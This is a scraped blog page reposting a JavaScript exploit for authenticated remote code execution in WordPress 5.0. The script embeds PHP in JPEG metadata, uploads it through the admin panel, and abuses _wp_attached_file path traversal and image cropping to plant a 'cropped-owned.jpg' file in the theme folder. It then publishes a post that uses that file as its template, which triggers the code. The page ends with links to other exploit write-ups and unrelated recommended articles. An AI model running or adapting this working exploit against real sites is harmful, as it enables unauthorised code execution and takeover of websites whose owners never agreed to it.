[EXP]WordPress Core 5.0 - Remote Code Execution
var wpnonce = '';
var ajaxnonce = '';
var wp_attached_file = '';
var imgurl = '';
var postajaxdata = '';
var post_id = 0;
var cmd = '<?php phpinfo();/*';
var cmdlen = cmd.length
var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';
var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);
var byteArray = Uint8Array.from(img, function(c){return c.codePointAt(0);});
var attachurl = '/wp-admin/media-new.php';
var uploadurl = '/wp-admin/async-upload.php';
var editattachurl = '/wp-admin/post.php?post=PID&action=edit';
var editposturl = '/wp-admin/post.php';
var addposturl = '/wp-admin/post-new.php';
var cropurl = '/wp-admin/admin-ajax.php';
console.log("Get wpnonce token.");
jQuery.get(attachurl, function(data) {
wpnonce = jQuery(data).find('#file-form #_wpnonce').val();
if(wpnonce) {
console.log("Success! wpnonce: " + wpnonce);
var postdata = new FormData();
postdata.append('name', 'ebaldremal.jpg');
postdata.append('post_id', post_id);
postdata.append('_wpnonce', wpnonce);
postdata.append('short', 1);
// file
var phpimage = new File([byteArray], 'ebaldremal.jpg');
postdata.append('async-upload', phpimage);
console.log("Upload image with shell.");
jQuery.ajax({
url: uploadurl,
data: postdata,
cache: false,
contentType: false,
processData: false,
method: 'POST',
success: function(data){
if(jQuery.isNumeric(data)) {
post_id = data;
console.log("Success! Attach ID: " + post_id);
console.log("Get wpnonce for edit post, ajax_nonce for crop and URL for fun.");
jQuery.get(editattachurl.replace('PID', post_id), function(data) {
var btnid = "#imgedit-open-btn-" + post_id;
wpnonce = jQuery(data).find('#post #_wpnonce').val();
ajaxnonce = jQuery(data).find(btnid).attr('onclick').match(/[a-f0-9]{10}/)[0];
imgurl = new URL(jQuery(data).find('#attachment_url').val());
wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/any";
console.log("Success! wpnonce: " + wpnonce + ", ajaxnonce: " + ajaxnonce);
if(wpnonce && ajaxnonce) {
console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'meta_input[_wp_attached_file]': wp_attached_file
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success!");
console.log("Crop image for create help folder.");
postajaxdata = {
'_ajax_nonce': ajaxnonce,
'action': 'crop-image',
'id': post_id,
'cropDetails[width]': 1,
'cropDetails[height]': 1
}
jQuery.post(cropurl, postajaxdata, function(data){
console.log("Success! Help directory created.");
wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/../../../../themes/twentynineteen/owned";
console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'meta_input[_wp_attached_file]': wp_attached_file
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success!");
console.log("Crop image for create evil jpg image inside twentynineteen theme folder.");
jQuery.post(cropurl, postajaxdata, function(data){
console.log("Success!");
console.log("Get wpnonce for create new post.");
jQuery.get(addposturl, function(data){
console.log("Create new post and use evil jpg image as template.");
if(jQuery(data).find('form.metabox-base-form').length) {
wpnonce = jQuery(data).find('form.metabox-base-form #_wpnonce').val();
post_id = jQuery(data).find('form.metabox-base-form #post_ID').val();
} else {
wpnonce = jQuery(data).find('#post #_wpnonce').val();
post_id = jQuery(data).find('#post #post_ID').val();
}
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'post_title': 'RCE-HERE',
'visibility': 'public',
'publish': 'Publish',
'meta_input[_wp_page_template]': 'cropped-owned.jpg'
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success! Browse post with id = " + post_id + " to trigger RCE.")
console.log("Trying to open: " + imgurl.origin + "/?p=" + post_id + ")");
window.open(imgurl.origin + "/?p=" + post_id, '_blank');
});
});
});
});
});
});
}
});
}
}
});
}
});
[EXP]WordPress Core 5.0 - Remote Code Execution的更多相关文章
- [EXP]phpBB 3.2.3 - Remote Code Execution
// All greets goes to RIPS Tech // Run this JS on Attachment Settings ACP page var plupload_salt = ' ...
- CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...
- [EXP]Apache Superset < 0.23 - Remote Code Execution
# Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...
- [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
# Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...
- [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution
# Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- Roundcube 1.2.2 - Remote Code Execution
本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程. 漏洞利用条件 Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启) PHP的mai ...
- [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability
漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...
- Tomcat put上传漏洞_CVE2017-12615( JSP Upload Bypass/Remote Code Execution)
CVE2017-12615漏洞复现( tomcat JSP Upload Bypass /Remote Code Execution) 一.漏洞原理 在windows服务器下,将readonly参数设 ...
随机推荐
- 2018.11.02 NOIP模拟 优美的序列(数论+单调栈/链表)
传送门 考虑如果一个区间满足最小值等于最大公约数那么这个区间是合法的. 因此我们对于每一个点维护可以延展到的最左/右端点保证这一段区间的gcdgcdgcd等于这个点的值. 这个可以用之前同类的链表或者 ...
- 2018.10.30 NOIP模拟 字胡串(单调栈+容斥)
传送门 对于每个点,用单调栈求出它左右第一个比他大的位置. 然后对每个点O(logai)O(log_{a_i})O(logai)求出第一个拥有跟它不同二进制位的位置. 然后容斥一下就行了. 代码
- 使用promise判断是否登录
步骤: 1.创建并返回new Promise((success,error)=>{}),success和error分别是成功和失败后所执行的函数 2.判断是否含有cookie,如果含有cooki ...
- 使用vue,react,angular等框架和不使用框架使用jquery的优缺点
jquery和vue react等框架有着本质上的区别,从jquery到vue.react 或者说是到mvvm的转变,是一个思想的转变,是将原有的直接操作dom的思想转变到操作数据上去. vue更关注 ...
- java术语(PO/POJO/VO/BO/DAO/DTO)
PO(persistant object) 持久对象在o/r 映射的时候出现的概念,如果没有o/r映射,就没有这个概念存在了.通常对应数据模型(数据库),本身还有部分业务逻辑的处理.可以看成是与数据库 ...
- 开机logo以及两种修改开机动画方法
Android开机画面总共有三屏 一.第一屏:开机logo 1.选张png格式的图片,在Linux任意下执行(安装工具): sudo apt-get install pnmtoplainpm 2.在所 ...
- HTML上传文件支持大文件上传,下载
上传 1.修改配置文件web.config,在<system.webServer>下面加入 <security> <requestFiltering > <r ...
- asp.net文件上传下载
泽优大文件上传产品测试 泽优大文件上传控件up6,基于php开发环境测试. 开发环境:HBuilder 服务器:wamp64 数据库:mysql 可视化数据库编辑工具:Navicat Premium ...
- Jmeter-连接 MySQL数据库
一.下载mysql驱动包,mysql各个版本驱动包如下: http://central.maven.org/maven2/mysql/mysql-connector-java/ (上面链接的信息来源于 ...
- centos网络配置(手动设置,自动获取)的2种方法3
不知道为什么最近一段时间网络特别的慢,还老是断,断的时候,局域网都连不上,当我手动设置一下ip后就可以了,搞得我很无语.下面是2种设置网络连接的方法,在说怎么设置前,一定要做好备份工作,特别是对于新手 ...